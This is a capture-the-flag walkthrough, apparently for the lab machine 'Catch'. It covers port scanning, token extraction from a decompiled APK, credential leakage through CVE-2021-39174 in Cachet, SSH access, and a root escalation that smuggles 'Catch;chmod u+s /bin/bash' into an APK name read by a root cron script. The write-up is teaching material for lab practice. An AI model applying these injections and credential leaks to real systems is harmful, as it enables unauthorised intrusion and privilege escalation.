Skip to content

Catch

Nmap scan

As always a basic full port scan followed by a more detailed one of the open ports:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 1000 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-28 07:57 EDT
Nmap scan report for 10.10.11.150
Host is up (0.057s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
5000/tcp open  upnp
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p22,80,3000,5000,8000 -sC -sV 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-28 07:59 EDT
Nmap scan report for 10.10.11.150
Host is up (0.058s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=dc1f63d531e6bb29; Path=/; HttpOnly
|     Set-Cookie: _csrf=zOsNQVYrG-dW_xmT_61Rbb52Rk86MTY1MzczOTE2MzMzMjg1NDI0Nw; Path=/; Expires=Sun, 29 May 2022 11:59:23 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 28 May 2022 11:59:23 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=50ba29214c8efe8a; Path=/; HttpOnly
|     Set-Cookie: _csrf=7ncKrYlCix8LzYmNrgSbZOGBG9o6MTY1MzczOTE2ODY4MTE4OTAwOQ; Path=/; Expires=Sun, 29 May 2022 11:59:28 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 28 May 2022 11:59:28 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3ArAhYISOfSycRtXXcLkE076Nl3IxV2VTK.5N2ujOCd1eowvNHpT3UQ092ovNFzOOPCNlGrJlhHrO4; Path=/; HttpOnly
|     Date: Sat, 28 May 2022 11:59:28 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3A6AA6bymAmMLNna6EYRKbWFqnMLzxhZ1n.oO7hR8xgJuWTWkFrTeGrzVkLz2PlomVDrsyS4C8KJV0; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sat, 28 May 2022 11:59:28 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.06 seconds

Looks like Nmap was not able to report some of the ports services properly so, since everything but the port 22 seems like HTTP services I checked all of them:

  • Port 22: SSH, this is the obvious one
  • Port 80: Catch webpage.
  • Port 3000: Catch repositories.
  • Port 5000: Let's Chat page.
  • Port 8000: Catch status page.

Catch Webpage

This site is pretty empty, I even tried to launch a Gobuster scan but couldn't really find anything. The only thing here is that we can download what looks like the status page app for Android, I will decode the APK file and inspect the code later to see if there is something interesting.

Catch Repositories

Here we have what looks like a self hosted Git service called Gitea. The version is 1.14.1 and it has no public repositories but I found that the user root exists, maybe we can try to bruteforce or wait until we find some credentials.

Let's Chat

This is a (Let's Chat)[https://github.com/sdelements/lets-chat] application, I have no credentials to try here so I guess we finished before starting.

Catch Status Page

This is a Cachet application, and it is used to show the status of services. According to the documentation there is a login page: /auth/login, in order to find the credentials we could try to decode the APK file we got before (Remember that should be this same page but for Android) and inspect it a bit:

apktool d catchv1.0.apk

After looking around for a bit I found these tokens under res/values/strings.xml:

res/values/strings.xml

<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>

Leaking credentials from Let's Chat

I tried both the Slack and Gitea tokens but looks like they are not valid. Luckily, the Let's Chat token worked! And now we can access the app API:

┌──(kali㉿kali)-[~]
└─$ curl -X 'GET' \
  'http://gitea.catch.htb:5000/rooms' \
  -H 'accept: application/json' -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' | jq
[
  {
    "id": "61b86b28d984e2451036eb17",
    "slug": "status",
    "name": "Status",
    "description": "Cachet Updates and Maintenance",
    "lastActive": "2021-12-14T10:34:20.749Z",
    "created": "2021-12-14T10:00:08.384Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b8708efe190b466d476bfb",
    "slug": "android_dev",
    "name": "Android Development",
    "description": "Android App Updates, Issues & More",
    "lastActive": "2021-12-14T10:24:21.145Z",
    "created": "2021-12-14T10:23:10.474Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b86b3fd984e2451036eb18",
    "slug": "employees",
    "name": "Employees",
    "description": "New Joinees, Org updates",
    "lastActive": "2021-12-14T10:18:04.710Z",
    "created": "2021-12-14T10:00:31.043Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  }
]

After inspecting the different chats I found credentials for the Status page!

┌──(kali㉿kali)-[~]
└─$ curl -X 'GET' \
  'http://gitea.catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages' \
  -H 'accept: application/json' -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' | jq
[
  ...
  {
    "id": "61b8702dfe190b466d476bfa",
    "text": "Here are the credentials `john :  E}V!mywu_69T4C}W`",
    "posted": "2021-12-14T10:21:33.859Z",
    "owner": "61b86f15fe190b466d476bf5",
    "room": "61b86b28d984e2451036eb17"
  },
  ...
]

Getting user access

Using john:E}V!mywu_69T4C}W as credentials in the Cached dashboard gives us access to it. Once in here I really had a hard time figuring out what to do next, I found this blog where they show 3 different CVEs for Cachet 2.4.0-dev. In theory all of them can be used but the RCE one (The more interesting of them of course) is pretty tricky so I tried the CVE-2021-39174.

This vulnerability tale advantage of the fact that the application uses vlucas/phpdotenv for the configuration files and it support nested variables. The problem with this is that any user with access to the dashboard can leak configuration variables, it just need to go to the mail settings and change the Mail From Address field from notify@10.129.136.74 to, for example, notify.{DB_PASSWORD}.@10.129.136.74. When the page is reloaded, the application will load the variable value and leak the information. Checking the documentation I leaked DB_PASSWORD and DB_USERNAME: will:s2#4Fg0_%3!.

I decided to try this credentials in the other services and imagine my surprise when I got SSH access, we are in!

In the machine as will

You can get the user flag under /home/will/user.txt. After that, I found something interesting: /opt/mdm/verify.sh. Looks like this is running as a cronjob or something by root and it is checking .apk files under /opt/mdm/apk_bin/ to see if they are valid Catch applications.

Since we already have an APK that should be valid, the one we downloaded at the beginning, we can upload it to the machine and see what happens with it. After a minute or so, the APK file I put in the path checked by the script was deleted. Checking the script, that is actually the last step so we are now sure about the cronjob theory.

Getting root

Inside the script I noticed this function:

####################
# Basic App Checks #
####################

app_check() {
    APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
    echo $APP_NAME
    if [[ $APP_NAME == *"Catch"* ]]; then
        echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
        mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
    else
        echo "[!] App doesn't belong to Catch Global"
        cleanup
        exit
    fi
}

It is using xargs to generate a command that will create directory with a name of the application. The name of the application is obtained, after decompiling the APK, from a file called strings.xml. This is actually the file where we found the application tokens earlier.

Since we can edit this file, it is possible to change the variable name the script is using and inject a command that will be run by root:

    ...
    <string name="abc_toolbar_collapse_description">Collapse</string>
    <string name="app_name">Catch;chmod u+s /bin/bash</string>
    <string name="appbar_scrolling_view_behavior">
    ...

In this case, the idea is that the bash binary will be turned into a SUID binary to allow us to get root access easily. Just recompile the new APK with apktool b catchv1.0 and upload the application to the /opt/mdm/apk_bin/ folder in the target.

After waiting a bit, the APK file gets removed and...

will@catch:~$ bash -p
bash-5.0#

We have rooted it! Get the flag under /root/root.txt.